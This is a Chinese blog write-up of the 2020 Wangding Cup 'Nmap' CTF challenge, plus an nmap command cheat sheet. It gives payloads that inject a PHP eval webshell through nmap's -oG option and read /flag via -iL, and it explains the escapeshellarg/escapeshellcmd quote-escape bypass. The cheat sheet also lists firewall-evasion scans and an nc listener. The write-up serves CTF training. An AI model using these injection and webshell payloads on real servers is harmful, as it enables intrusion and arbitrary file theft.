[网鼎杯 2020 朱雀组]Nmap(双解详细分析)

目录

Nmap 相关参数

信息收集

思路

方法一

方法二

nmap常见操作


Nmap 相关参数

-iL 读取文件内容,以文件内容作为搜索目标
-o 输出到文件

-oN 标准保存
-oX XML保存
-oG Grep保存
-oA 保存到所有格式

信息收集

可以对ip进行扫描 

思路

方法一

将一句话木马写入后保存到指定文件,通过文件进行命令执行读取flag

估计这题的后台就是用了一条简单的拼接语句,类似于:"nmap".'$cmd',之类的,闭合符号

payload

'<?php @eval($_POST["a"]);?> -oG coleak.php'

namp 'ip' 闭合后成为nmap ''<?php eval($_POST["pwd"]);?> -oG 1.php''

回显为Hacker...,应该是php被过滤了,我们使用phtml

'<?php @eval($_POST["a"]);?> -oG coleak.phtml'

回显为Hacker...,我们用短标签

' <? echo @eval($_POST["a"]);?> -oG coleak.phtml '

<?=$a?> <?=(表达式)?> 就相当于 <?php echo $a?> <?php echo (表达式)?>

方法二

iL来读取flag,然后输出到指定文件,访问该文件进行读取

读取时会提示搜索内容失败,然后会写出来内容是啥,从而实现任意文件读取。

escapeshell

  • escapeshellarg()

escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数,保证其作为参数的安全性。

用转义符转义所有单引号,然后用单引号包裹

123' aa变为'123'\'' aa'

  • escapeshellcmd()

escapeshellcmd - 把字符串中可能欺骗shell命令的字符转义, 用以保证送到system函数或者exec函数的字符串是安全的。

不光这些字符,转义符本身还有落单的引号也会被转义。

'123'\'' aa'变为'123'\\'' aa\'

因为转义符被转义,最后的引号便落单,逃逸了出去。这个时候,被输入的字符串不再被当成单个参数处理(不再有引号包裹), 即逃出了这两个函数。

看看seebug平台上面的具体案例

  1. 传入的参数是:172.17.0.2' -v -d a=1
  2. 经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
  3. 经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd\以及最后那个不配对儿的引号进行了转义
  4. 最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'

payload

127.0.0.1' -iL /flag -o coleak

注意文件末尾有个逃逸的单引号 

nmap常见操作

常见指令

nmap -v 127.0.0.1
给出了远程机器更详细的信息,显示冗余信息(扫描细节)
nmap -iL nmaptest.txt运行带“iL
 选项的nmap命令来扫描文件中列出的所有IP地址
nmap 192.168.0.* --exclude 192.168.0.100
使用“-exclude”选项来排除某些你不想要扫描的主机
nmap -A 192.168.0.101
启用操作系统和版本检测,脚本扫描和路由跟踪功能
nmap -O 127.0.0.1
使用选项“-O”和“-osscan-guess”也帮助探测操作系统信息
nmap -sA 192.168.0.101
扫描远程主机以探测该主机是否使用了包过滤器或防火墙
nmap -PN 192.168.0.101
扫描主机检测其是否受到数据包过滤软件或防火墙的保护
nmap -sP 192.168.0.*
找出网络中的在线主机
nmap -F 192.168.0.101
快速扫描,仅扫描nmap-services文件中的端口而避开所有其它的端口
nmap -f 192.168.96.4
使用小数据包发送,避免被识别出
nmap -r 192.168.0.101
不会随机的选择端口扫描
nmap -p 80,443 192.168.0.101
使用“-P”选项指定你想要扫描的端口
nmap -sV 192.168.0.101
查找主机服务版本号
nmap -PS 192.168.0.101
使用TCP ACK和TCP Syn方法来扫描远程主机(防火墙会阻断标ICMP包)
nmap -Pn 192.168.96.4
目标机禁用ping,绕过ping扫描
nmap -sn 192.168.96.4
对目标进行ping检测,不进行端口扫描(发送四种报文确定目标是否存活)
nmap -sS 192.168.0.101
执行一次隐蔽的扫描,安全,快
nmap -sT 192.168.0.101
使用TCP Syn扫描最常用的端口,不安全,慢
nmap -sN 192.168.0.101
执行TCP空扫描以骗过防火墙
nmap -sI 僵尸ip 目标ip
使用僵尸机对目标机发送数据包
nmap 192.168.96.4 -oX myscan.xml
对扫描结果另存在myscan.xml
nmap -T1~6 192.168.96.4
设置扫描速度,一般T4足够
nmap –mtu <size> 192.168.96.4
发送的包大小,最大传输单元必须是8的整数
nmap -D <假ip> 192.168.96.4
发送参杂着假ip的数据包检测
nmap –oG 1.txt –v 192.168.1.1/24
-oG将扫描结果保存为TXT,Ctrl+C中断扫描

nmap ip

nc -lvp 8888

nmap端口状态解析

open : 应用程序在该端口接收 TCP 连接或者 UDP 报文。 

closed :关闭的端口对于nmap也是可访问的, 它接收nmap探测报文并作出响应。但没有应用程序在其上监听。

filtered :由于包过滤阻止探测报文到达端口,nmap无法确定该端口是否开放。过滤可能来自专业的防火墙设备,路由规则 或者主机上的软件防火墙。

unfiltered :未被过滤状态意味着端口可访问,但是nmap无法确定它是开放还是关闭。 只有用于映射防火墙规则集的 ACK 扫描才会把端口分类到这个状态。

open | filtered :无法确定端口是开放还是被过滤, 开放的端口不响应就是一个例子。没有响应也可能意味着报文过滤器丢弃了探测报文或者它引发的任何反应。UDP,IP协议,FIN, Null 等扫描会引起。

closed|filtered:(关闭或者被过滤的):无法确定端口是关闭的还是被过滤的

nmap 网段/字段(8/16/24)

例如c类网段nmap 192.168.1.0/24

常用参数

 

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

coleak

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值